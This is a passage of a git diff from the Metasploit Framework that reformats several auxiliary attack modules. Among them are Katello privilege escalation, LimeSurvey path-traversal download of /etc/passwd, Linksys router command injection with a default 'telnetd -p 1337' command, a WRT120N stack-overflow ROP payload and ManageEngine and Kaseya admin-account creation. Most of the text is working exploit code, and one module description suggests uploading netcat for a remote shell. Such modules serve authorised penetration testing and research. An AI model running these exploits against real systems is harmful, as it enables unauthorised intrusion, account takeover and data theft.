res.body.to_s.include?('/vsapres/web20/core/login.asp') - print_error("Master Administrator account creation failed") + print_error('Master Administrator account creation failed') return end print_good("Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created") connection_details = { - module_fullname: self.fullname, - username: datastore['KASEYA_USER'], - private_data: datastore['KASEYA_PASS'], - private_type: :password, - workspace_id: myworkspace_id, - access_level: 'Master Administrator', - status: Metasploit::Model::Login::Status::UNTRIED + module_fullname: fullname, + username: datastore['KASEYA_USER'], + private_data: datastore['KASEYA_PASS'], + private_type: :password, + workspace_id: myworkspace_id, + access_level: 'Master Administrator', + status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_details) create_credential_and_login(connection_details) end diff --git a/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb b/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb index f199b05b9f..eb46b794ab 100644 --- a/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb +++ b/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb @@ -8,21 +8,20 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization', - 'Description' => %q{ + 'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization', + 'Description' => %q{ This module exploits a missing authorization vulnerability in the "update_roles" action of "users" controller of Katello and Red Hat Satellite (Katello 1.5.0-14 and earlier) by changing the specified account to an administrator account. }, - 'Author' => 'Ramon de C Valle', - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2013-2143'], - ['CWE', '862'], - ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=970849'] - ], + 'Author' => 'Ramon de C Valle', + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2013-2143'], + ['CWE', '862'], + ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=970849'] + ], 'DisclosureDate' => 'Mar 24 2014' ) @@ -40,8 +39,8 @@ class MetasploitModule < Msf::Auxiliary def run print_status("Logging into #{target_url}...") res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'user_session', 'new'), + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'user_session', 'new'), 'vars_get' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] @@ -53,11 +52,11 @@ class MetasploitModule < Msf::Auxiliary return end - if res.headers['Location'] =~ /user_session\/new$/ + if res.headers['Location'] =~ %r{user_session/new$} print_error('Authentication failed') return else - session = $1 if res.get_cookies =~ /_katello_session=(\S*);/ + session = ::Regexp.last_match(1) if res.get_cookies =~ /_katello_session=(\S*);/ if session.nil? print_error('Failed to retrieve the current session') @@ -69,7 +68,7 @@ class MetasploitModule < Msf::Auxiliary res = send_request_cgi( 'cookie' => "_katello_session=#{session}", 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'dashboard') + 'uri' => normalize_uri(target_uri.path, 'dashboard') ) if res.nil? @@ -77,11 +76,11 @@ class MetasploitModule < Msf::Auxiliary return end - if res.headers['Location'] =~ /user_session\/new$/ + if res.headers['Location'] =~ %r{user_session/new$} print_error('Authentication failed') return else - session = $1 if res.get_cookies =~ /_katello_session=(\S*);/ + session = ::Regexp.last_match(1) if res.get_cookies =~ /_katello_session=(\S*);/ if session.nil? print_error('Failed to retrieve the current session') @@ -89,19 +88,21 @@ class MetasploitModule < Msf::Auxiliary end end - if res.headers['Location'] =~ /user_session\/new$/ + if res.headers['Location'] =~ %r{user_session/new$} print_error('Failed to retrieve the user id') return else - csrf_token = $1 if res.body =~ //i - csrf_token = $1 if res.body =~ //i if csrf_token.nil? + csrf_token = ::Regexp.last_match(1) if res.body =~ %r{}i + if csrf_token.nil? && (res.body =~ %r{}i) + csrf_token = ::Regexp.last_match(1) + end if csrf_token.nil? print_error('Failed to retrieve the CSRF token') return end - user = $1 if res.body =~ /\/users.(\d+)#list_search=#{datastore['USERNAME']}/ + user = ::Regexp.last_match(1) if res.body =~ %r{/users.(\d+)#list_search=#{datastore['USERNAME']}} if user.nil? print_error('Failed to retrieve the user id') @@ -111,12 +112,12 @@ class MetasploitModule < Msf::Auxiliary print_status("Sending update-user request to #{target_url('users', user, 'update_roles')}...") res = send_request_cgi( - 'cookie' => "_katello_session=#{session}", - 'headers' => { - 'X-CSRF-Token' => csrf_token + 'cookie' => "_katello_session=#{session}", + 'headers' => { + 'X-CSRF-Token' => csrf_token }, - 'method' => 'PUT', - 'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'), + 'method' => 'PUT', + 'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'), 'vars_post' => { 'user[role_ids][]' => '1' } diff --git a/modules/auxiliary/admin/http/limesurvey_file_download.rb b/modules/auxiliary/admin/http/limesurvey_file_download.rb index 128d29690d..3e92d49746 100644 --- a/modules/auxiliary/admin/http/limesurvey_file_download.rb +++ b/modules/auxiliary/admin/http/limesurvey_file_download.rb @@ -10,35 +10,38 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient - def initialize(info={}) - super(update_info(info, - 'Name' => "Limesurvey Unauthenticated File Download", - 'Description' => %q{ - This module exploits an unauthenticated file download vulnerability - in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded - as a ZIP and unzipped automatically, thus binary files can be downloaded. - }, - 'Author' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Limesurvey Unauthenticated File Download', + 'Description' => %q{ + This module exploits an unauthenticated file download vulnerability + in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded + as a ZIP and unzipped automatically, thus binary files can be downloaded. + }, + 'Author' => [ 'Pichaya Morimoto', # Vulnerability Discovery 'Christian Mehlmauer' # Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['URL', 'https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-lime-survey/'], ['URL', 'https://www.limesurvey.org/blog/22-security/136-limesurvey-security-advisory-10-2015'], ['URL', 'https://github.com/LimeSurvey/LimeSurvey/compare/2.06_plus_151014...2.06_plus_151016?w=1'] ], - 'DisclosureDate' => '2015-10-12')) + 'DisclosureDate' => '2015-10-12' + ) + ) register_options( [ Opt::RPORT(80), - OptString.new('TARGETURI', [true, "The base path to the limesurvey installation", '/']), + OptString.new('TARGETURI', [true, 'The base path to the limesurvey installation', '/']), OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']), OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 15]) - ]) + ] + ) end def filepath @@ -50,7 +53,7 @@ class MetasploitModule < Msf::Auxiliary end def payload - traversal = "/.." * traversal_depth + traversal = '/..' * traversal_depth file = "#{traversal}#{filepath}" serialized = 'a:1:{i:0;O:16:"CMultiFileUpload":1:{s:4:"file";s:' + file.length.to_s + ':"' + file + '";}}' Rex::Text.encode_base64(serialized) diff --git a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb index a0439c425a..933c83883c 100644 --- a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb +++ b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb @@ -7,32 +7,36 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'Linksys E1500/E2500 Remote Command Execution', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Linksys E1500/E2500 Remote Command Execution', + 'Description' => %q{ Some Linksys Routers are vulnerable to an authenticated OS command injection. - Default credentials for the web interface are admin/admin or admin/password. Since - it is a blind os command injection vulnerability, there is no output for the - executed command. A ping command against a controlled system for can be used for - testing purposes. - }, - 'Author' => [ 'Michael Messner ' ], - 'License' => MSF_LICENSE, - 'References' => - [ + Default credentials for the web interface are admin/admin or admin/password. Since + it is a blind os command injection vulnerability, there is no output for the + executed command. A ping command against a controlled system for can be used for + testing purposes. + }, + 'Author' => [ 'Michael Messner ' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'OSVDB', '89912' ], [ 'BID', '57760' ], [ 'EDB', '24475' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ] ], - 'DisclosureDate' => '2013-02-05')) + 'DisclosureDate' => '2013-02-05' + ) + ) register_options( [ - OptString.new('HttpUsername',[ true, 'User to login with', 'admin']), - OptString.new('HttpPassword',[ true, 'Password to login with', 'password']), + OptString.new('HttpUsername', [ true, 'User to login with', 'admin']), + OptString.new('HttpPassword', [ true, 'Password to login with', 'password']), OptString.new('CMD', [ true, 'The command to execute', 'telnetd -p 1337']) - ]) + ] + ) end def run @@ -44,9 +48,9 @@ class MetasploitModule < Msf::Auxiliary begin res = send_request_cgi({ - 'uri' => uri, - 'method' => 'GET', - 'authorization' => basic_auth(user,pass) + 'uri' => uri, + 'method' => 'GET', + 'authorization' => basic_auth(user, pass) }) return if res.nil? @@ -58,7 +62,6 @@ class MetasploitModule < Msf::Auxiliary print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") return end - rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return @@ -74,19 +77,19 @@ class MetasploitModule < Msf::Auxiliary vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}") begin res = send_request_cgi({ - 'uri' => uri, + 'uri' => uri, 'method' => 'POST', - 'authorization' => basic_auth(user,pass), + 'authorization' => basic_auth(user, pass), 'vars_post' => { - "submit_button" => "Diagnostics", - "change_action" => "gozila_cgi", - "submit_type" => "start_ping", - "action" => "", - "commit" => "0", - "ping_ip" => "1.1.1.1", - "ping_size" => "&#{cmd}&", - "ping_times" => "5", - "traceroute_ip" => "" + 'submit_button' => 'Diagnostics', + 'change_action' => 'gozila_cgi', + 'submit_type' => 'start_ping', + 'action' => '', + 'commit' => '0', + 'ping_ip' => '1.1.1.1', + 'ping_size' => "&#{cmd}&", + 'ping_times' => '5', + 'traceroute_ip' => '' } }) rescue ::Rex::ConnectionError diff --git a/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb b/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb index 01471d6ad4..9c71952e04 100644 --- a/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb +++ b/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb @@ -7,35 +7,37 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'Linksys WRT120N tmUnblock Stack Buffer Overflow', - 'Description' => %q{ - This module exploits a stack-based buffer overflow vulnerability in the WRT120N Linksys router - to reset the password of the management interface temporarily to an empty value. - This module has been tested successfully on a WRT120N device with firmware version - 1.0.07. - }, - 'Author' => - [ - 'Craig Heffner', # vulnerability discovery and original exploit - 'Michael Messner ' # metasploit module + super( + update_info( + info, + 'Name' => 'Linksys WRT120N tmUnblock Stack Buffer Overflow', + 'Description' => %q{ + This module exploits a stack-based buffer overflow vulnerability in the WRT120N Linksys router + to reset the password of the management interface temporarily to an empty value. + This module has been tested successfully on a WRT120N device with firmware version + 1.0.07. + }, + 'Author' => [ + 'Craig Heffner', # vulnerability discovery and original exploit + 'Michael Messner ' # metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'EDB', '31758' ], [ 'OSVDB', '103521' ], [ 'URL', 'https://web.archive.org/web/20210424073058/http://www.devttys0.com/2014/02/wrt120n-fprintf-stack-overflow/' ] # a huge amount of details about this vulnerability and the original exploit ], - 'DisclosureDate' => '2014-02-19')) + 'DisclosureDate' => '2014-02-19' + ) + ) end def check_login(user) print_status("Trying to login with #{user} and empty password") res = send_request_cgi({ - 'uri' => '/', - 'method' => 'GET', - 'authorization' => basic_auth(user,"") + 'uri' => '/', + 'method' => 'GET', + 'authorization' => basic_auth(user, '') }) if res.nil? || res.code == 404 print_status("No login possible with #{user} and empty password") @@ -50,56 +52,56 @@ class MetasploitModule < Msf::Auxiliary end def run - begin - if check_login("admin") - print_good("login with user admin and no password possible. There is no need to use this module.") + if check_login('admin') + print_good('login with user admin and no password possible. There is no need to use this module.') return end rescue ::Rex::ConnectionError - print_error("Failed to connect to the web server") + print_error('Failed to connect to the web server') return end - print_status("Resetting password for the admin user ...") + print_status('Resetting password for the admin user ...') postdata = Rex::Text.rand_text_alpha(246) # Filler - postdata << [0x81544AF0].pack("N") # $s0, address of admin password in memory - postdata << [0x8031f634].pack("N") # $ra + postdata << [0x81544AF0].pack('N') # $s0, address of admin password in memory + postdata << [0x8031f634].pack('N') # $ra postdata << Rex::Text.rand_text_alpha(40) # Stack filler postdata << Rex::Text.rand_text_alpha(4) # Stack filler - postdata << [0x803471b8].pack("N") # ROP 1 $ra (address of ROP 2) + postdata << [0x803471b8].pack('N') # ROP 1 $ra (address of ROP 2) postdata << Rex::Text.rand_text_alpha(8) # Stack filler - (0..3).each do |i| + 4.times do |i| postdata << Rex::Text.rand_text_alpha(4) # ROP 2 $s0, don't care postdata << Rex::Text.rand_text_alpha(4) # ROP 2 $s1, don't care - postdata << [0x803471b8].pack("N") # ROP 2 $ra (address of itself) - postdata << Rex::Text.rand_text_alpha(4-(3*(i/3))) # Stack filler + postdata << [0x803471b8].pack('N') # ROP 2 $ra (address of itself) + postdata << Rex::Text.rand_text_alpha(4 - (3 * (i / 3))) # Stack filler end begin res = send_request_cgi( { - 'uri' => normalize_uri("cgi-bin", "tmUnblock.cgi"), + 'uri' => normalize_uri('cgi-bin', 'tmUnblock.cgi'), 'method' => 'POST', 'vars_post' => { 'period' => '0', 'TM_Block_MAC' => '00:01:02:03:04:05', 'TM_Block_URL' => postdata } - }) - if res and res.code == 500 - if check_login("admin") - print_good("Expected answer and the login was successful. Try to login with the user admin and a blank password") + } + ) + if res && (res.code == 500) + if check_login('admin') + print_good('Expected answer and the login was successful. Try to login with the user admin and a blank password') else - print_status("Expected answer, but unknown exploit status. Try to login with the user admin and a blank password") + print_status('Expected answer, but unknown exploit status. Try to login with the user admin and a blank password') end else - print_error("Unexpected answer. Exploit attempt has failed") + print_error('Unexpected answer. Exploit attempt has failed') end rescue ::Rex::ConnectionError - print_error("Failed to connect to the web server") + print_error('Failed to connect to the web server') return end end diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb index dbff570c98..246672536f 100644 --- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb +++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb @@ -7,46 +7,50 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'Linksys WRT54GL Remote Command Execution', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Linksys WRT54GL Remote Command Execution', + 'Description' => %q{ Some Linksys Routers are vulnerable to OS Command injection. - You will need credentials to the web interface to access the vulnerable part - of the application. - Default credentials are always a good starting point. admin/admin or admin - and blank password could be a first try. - Note: This is a blind OS command injection vulnerability. This means that - you will not see any output of your command. Try a ping command to your - local system and observe the packets with tcpdump (or equivalent) for a first test. + You will need credentials to the web interface to access the vulnerable part + of the application. + Default credentials are always a good starting point. admin/admin or admin + and blank password could be a first try. + Note: This is a blind OS command injection vulnerability. This means that + you will not see any output of your command. Try a ping command to your + local system and observe the packets with tcpdump (or equivalent) for a first test. - Hint: To get a remote shell you could upload a netcat binary and exec it. - WARNING: this module will overwrite network and DHCP configuration. - }, - 'Author' => [ 'Michael Messner ' ], - 'License' => MSF_LICENSE, - 'References' => - [ + Hint: To get a remote shell you could upload a netcat binary and exec it. + WARNING: this module will overwrite network and DHCP configuration. + }, + 'Author' => [ 'Michael Messner ' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-01' ], [ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ], [ 'EDB', '24202' ], [ 'BID', '57459' ], [ 'OSVDB', '89421' ] ], - 'DisclosureDate' => '2013-01-18')) + 'DisclosureDate' => '2013-01-18' + ) + ) register_options( [ Opt::RPORT(80), - OptString.new('TARGETURI',[ true, 'PATH to OS Command Injection', '/apply.cgi']), - OptString.new('HttpUsername',[ true, 'User to login with', 'admin']), - OptString.new('HttpPassword',[ false, 'Password to login with', 'password']), + OptString.new('TARGETURI', [ true, 'PATH to OS Command Injection', '/apply.cgi']), + OptString.new('HttpUsername', [ true, 'User to login with', 'admin']), + OptString.new('HttpPassword', [ false, 'Password to login with', 'password']), OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']), OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']), OptAddress.new('LANIP', [ false, 'LAN IP address of the router (default is RHOST)']), OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']), OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']), OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500']) - ]) + ] + ) end # If the user configured LANIP, use it. Otherwise, use RHOST. @@ -60,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary end def run - #setting up some basic variables + # setting up some basic variables uri = datastore['TARGETURI'] user = datastore['HttpUsername'] rhost = datastore['RHOST'] @@ -72,7 +76,7 @@ class MetasploitModule < Msf::Auxiliary ip = lan_ip.split('.') if datastore['HttpPassword'].nil? - pass = "" + pass = '' else pass = datastore['HttpPassword'] end @@ -81,18 +85,18 @@ class MetasploitModule < Msf::Auxiliary begin res = send_request_cgi({ - 'uri' => uri, - 'method' => 'GET', - 'authorization' => basic_auth(user,pass) + 'uri' => uri, + 'method' => 'GET', + 'authorization' => basic_auth(user, pass) }) - unless (res.kind_of? Rex::Proto::Http::Response) + unless (res.is_a? Rex::Proto::Http::Response) vprint_error("#{rhost} not responding") return :abort end if (res.code == 404) - print_error("Not Found page returned") + print_error('Not Found page returned') return :abort end @@ -102,7 +106,6 @@ class MetasploitModule < Msf::Auxiliary print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'") return :abort end - rescue ::Rex::ConnectionError vprint_error("#{rhost} - Failed to connect to the web server") return :abort @@ -110,18 +113,18 @@ class MetasploitModule < Msf::Auxiliary cmd = datastore['CMD'] - print_status("Sending remote command: " + cmd) + print_status('Sending remote command: ' + cmd) - #cmd = Rex::Text.uri_encode(datastore['CMD']) - #original Post Request: - #data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&" - #data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&" - #data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&" - #data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&" - #data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&" - #data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&" - #data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&" - #data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1" + # cmd = Rex::Text.uri_encode(datastore['CMD']) + # original Post Request: + # data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&" + # data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&" + # data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&" + # data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&" + # data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&" + # data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&" + # data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&" + # data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1" vprint_status("using the following target URL: #{uri}") @@ -129,55 +132,55 @@ class MetasploitModule < Msf::Auxiliary res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', - 'authorization' => basic_auth(user,pass), - #'data' => data_cmd, + 'authorization' => basic_auth(user, pass), + # 'data' => data_cmd, 'vars_post' => { - 'submit_button' => "index", - 'change_action' => "1", - 'submit_type' => "1", - 'action' => "Apply", - 'now_proto' => "dhcp", - 'daylight_time' => "1", - 'lan_ipaddr' => "4", - 'wait_time' => "0", - 'need_reboot' => "0", - 'ui_language' => "de", - 'wan_proto' => "dhcp", - 'router_name' => "#{routername}", + 'submit_button' => 'index', + 'change_action' => '1', + 'submit_type' => '1', + 'action' => 'Apply', + 'now_proto' => 'dhcp', + 'daylight_time' => '1', + 'lan_ipaddr' => '4', + 'wait_time' => '0', + 'need_reboot' => '0', + 'ui_language' => 'de', + 'wan_proto' => 'dhcp', + 'router_name' => routername.to_s, 'wan_hostname' => "`#{cmd}`", - 'wan_domain' => "#{wandomain}", - 'mtu_enable' => "1", - 'wan_mtu' => "#{wanmtu}", - 'lan_ipaddr_0' => "#{ip[0]}", - 'lan_ipaddr_1' => "#{ip[1]}", - 'lan_ipaddr_2' => "#{ip[2]}", - 'lan_ipaddr_3' => "#{ip[3]}", - 'lan_netmask' => "#{netmask}", - 'lan_proto' => "dhcp", - 'dhcp_check' => "1", - 'dhcp_start' => "100", - 'dhcp_num' => "50", - 'dhcp_lease' => "0", - 'wan_dns' => "4", - 'wan_dns0_0' => "0", - 'wan_dns0_1' => "0", - 'wan_dns0_2' => "0", - 'wan_dns0_3' => "0", - 'wan_dns1_0' => "0", - 'wan_dns1_1' => "0", - 'wan_dns1_2' => "0", - 'wan_dns1_3' => "0", - 'wan_dns2_0' => "0", - 'wan_dns2_1' => "0", - 'wan_dns2_2' => "0", - 'wan_dns2_3' => "0", - 'wan_wins' => "4", - 'wan_wins_0' => "0", - 'wan_wins_1' => "0", - 'wan_wins_2' => "0", - 'wan_wins_3' => "0", - 'time_zone' => "-08+1+1", + 'wan_domain' => wandomain.to_s, + 'mtu_enable' => '1', + 'wan_mtu' => wanmtu.to_s, + 'lan_ipaddr_0' => (ip[0]).to_s, + 'lan_ipaddr_1' => (ip[1]).to_s, + 'lan_ipaddr_2' => (ip[2]).to_s, + 'lan_ipaddr_3' => (ip[3]).to_s, + 'lan_netmask' => netmask.to_s, + 'lan_proto' => 'dhcp', + 'dhcp_check' => '1', + 'dhcp_start' => '100', + 'dhcp_num' => '50', + 'dhcp_lease' => '0', + 'wan_dns' => '4', + 'wan_dns0_0' => '0', + 'wan_dns0_1' => '0', + 'wan_dns0_2' => '0', + 'wan_dns0_3' => '0', + 'wan_dns1_0' => '0', + 'wan_dns1_1' => '0', + 'wan_dns1_2' => '0', + 'wan_dns1_3' => '0', + 'wan_dns2_0' => '0', + 'wan_dns2_1' => '0', + 'wan_dns2_2' => '0', + 'wan_dns2_3' => '0', + 'wan_wins' => '4', + 'wan_wins_0' => '0', + 'wan_wins_1' => '0', + 'wan_wins_2' => '0', + 'wan_wins_3' => '0', + 'time_zone' => '-08+1+1', '_daylight_time' => '1' } }) @@ -186,13 +189,12 @@ class MetasploitModule < Msf::Auxiliary return :abort end - if res and res.code == 200 - print_status("Blind Exploitation - Response expected") + if res && (res.code == 200) + print_status('Blind Exploitation - Response expected') else print_error("Blind Exploitation - Response don't expected") end - print_status("Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed") - print_status("Blind Exploitation - unknown Exploitation state") + print_status('Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed') + print_status('Blind Exploitation - unknown Exploitation state') end end - diff --git a/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb b/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb index 47d83affa7..6efa947c47 100644 --- a/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb +++ b/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb @@ -8,72 +8,74 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'ManageEngine Desktop Central Administrator Account Creation', - 'Description' => %q{ - This module exploits an administrator account creation vulnerability in Desktop Central - from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in - several versions of Desktop Central (including MSP) from v7 onwards. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'ManageEngine Desktop Central Administrator Account Creation', + 'Description' => %q{ + This module exploits an administrator account creation vulnerability in Desktop Central + from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in + several versions of Desktop Central (including MSP) from v7 onwards. + }, + 'Author' => [ 'Pedro Ribeiro ' # Vulnerability discovery and MSF module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2014-7862'], ['OSVDB', '116554'], ['URL', 'https://seclists.org/fulldisclosure/2015/Jan/2'], ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_dc9_admin.txt'], ], - 'DisclosureDate' => '2014-12-31')) + 'DisclosureDate' => '2014-12-31' + ) + ) register_options( [ OptPort.new('RPORT', [true, 'The target port', 8020]), - OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']), + OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']), OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']), OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc']) - ]) + ] + ) end - def run # Generate password hash salt = Time.now.to_i.to_s password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*')) res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, "/servlets/DCPluginServelet"), - 'method' =>'GET', + 'uri' => normalize_uri(target_uri.path, '/servlets/DCPluginServelet'), + 'method' => 'GET', 'vars_get' => { - 'action' => 'addPlugInUser', - 'role' => 'DCAdmin', - 'userName' => datastore['USERNAME'], - 'email' => datastore['EMAIL'], - 'phNumber' => Rex::Text.rand_text_numeric(6), - 'password' => password_encoded, - 'salt' => salt, + 'action' => 'addPlugInUser', + 'role' => 'DCAdmin', + 'userName' => datastore['USERNAME'], + 'email' => datastore['EMAIL'], + 'phNumber' => Rex::Text.rand_text_numeric(6), + 'password' => password_encoded, + 'salt' => salt, 'createdtime' => salt } }) # Yes, "sucess" is really mispelt, as is "Servelet" ... ! unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/ - print_error("Administrator account creation failed") + print_error('Administrator account creation failed') end print_good("Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}") connection_details = { - module_fullname: self.fullname, - username: datastore['USERNAME'], - private_data: datastore['PASSWORD'], - private_type: :password, - workspace_id: myworkspace_id, - access_level: 'Administrator', - status: Metasploit::Model::Login::Status::UNTRIED + module_fullname: fullname, + username: datastore['USERNAME'], + private_data: datastore['PASSWORD'], + private_type: :password, + workspace_id: myworkspace_id, + access_level: 'Administrator', + status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_details) create_credential_and_login(connection_details) end diff --git a/modules/auxiliary/admin/http/manageengine_dir_listing.rb b/modules/auxiliary/admin/http/manageengine_dir_listing.rb index 5a1f181411..4e8aaf13e3 100644 --- a/modules/auxiliary/admin/http/manageengine_dir_listing.rb +++ b/modules/auxiliary/admin/http/manageengine_dir_listing.rb @@ -7,47 +7,50 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient - def initialize(info={}) - super(update_info(info, - 'Name' => "ManageEngine Multiple Products Arbitrary Directory Listing", - 'Description' => %q{ - This module exploits a directory listing information disclosure vulnerability in the - FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360. It - makes a recursive listing, so it will list the whole drive if you ask it to list / in - Linux or C:\ in Windows. This vulnerability is unauthenticated on OpManager and - Applications Manager, but authenticated in IT360. This module will attempt to login - using the default credentials for the administrator and guest accounts; alternatively - you can provide a pre-authenticated cookie or a username / password combo. For IT360 - targets enter the RPORT of the OpManager instance (usually 8300). This module has been - tested on both Windows and Linux with several different versions. Windows paths have to - be escaped with 4 backslashes on the command line. There is a companion module that - allows for arbitrary file download. This vulnerability has been fixed in Applications - Manager v11.9 b11912 and OpManager 11.6. - }, - 'Author' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'ManageEngine Multiple Products Arbitrary Directory Listing', + 'Description' => %q{ + This module exploits a directory listing information disclosure vulnerability in the + FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360. It + makes a recursive listing, so it will list the whole drive if you ask it to list / in + Linux or C:\ in Windows. 